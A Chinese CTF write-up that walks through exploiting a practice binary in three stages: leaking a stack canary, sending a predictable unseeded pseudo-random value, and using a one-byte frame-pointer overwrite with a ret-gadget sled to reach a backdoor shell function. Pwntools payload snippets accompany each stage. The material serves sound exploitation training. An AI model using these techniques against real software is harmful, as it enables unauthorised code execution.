这道题还是学到不少东西,做一下记录:)

stage1:
知识点:
第一个read一看就是泄露canary,canary总以\x00开头,所以根据小端序存储规则,\x00存储在低地址处,如果直接打印会被\x00截断,所以我们可以覆盖一字节,打印后切去第一位,并用\x00补齐
payload:
io.recvuntil(b"name\n\n")
io.send(b'a'*41)
io.recvuntil(b'a'*41)
can=u64(io.recv(7).rjust(8,b'\x00'))
stage2:
知识点:
伪随机数的生成,IDA中没有出现srand,time(0)所以这里的v5是个定值,可通过gdb调试,爆破,ctpyes模拟得到v5==707

payload:
#io.send(b'\xc3'+b'\x02'+b'\x00\x00')
io.send(p32(707))
因为是int,所以四字节,用p32()打包,也可以一字节一字节输入
stage3:

此外题目还给出了后门函数system("/bin/sh"):0x4007C7
知识点:
这里只让输入0x60字节,看似无法溢出,但是read的返回值是成功输入的字节数,buf[60]可以修改栈上保存的上个ebp的低字节为\x00,这就够了,因为旧的ebp的上方就是返回地址,当旧ebp被修改时,返回地址就来到了被修改的ebp的高地址处.因为我们只能在栈上输入,所以希望把旧ebp修改到栈上,可是题目存在栈地址随机化,我们不知道修改后的ebp指向栈的哪个位置,甚至不知道是不是在vuln的栈帧中.
对于第二个问题,我们可以通过多次运行,总会有机会使ebp在栈上.而对抗第一个\x00位置的随机化,我们容易联想到shellcode中的nop滑梯,无论执行流起初指向nop滑梯的哪个部分,最后执行流总会流到nop滑梯的一端,即我们布置shellcode的位置,在栈上,我们可以用ret代替nop指令,无论ebp指向栈中的哪里,只要让返回地址是ret,执行流就会重复ret-ret-...-shell,所以我们把shell布置在canary的下方,shell的下方用ret填满,这样就构造出了类nop滑梯.

payload:
ret=0x40083F
shell=0x4007C7
payload=p64(ret)*10+p64(shell)+p64(can)
io.send(payload)
io.interactive()
题目链接:NSSCTF | 在线CTF平台

被折叠的 条评论
为什么被折叠?



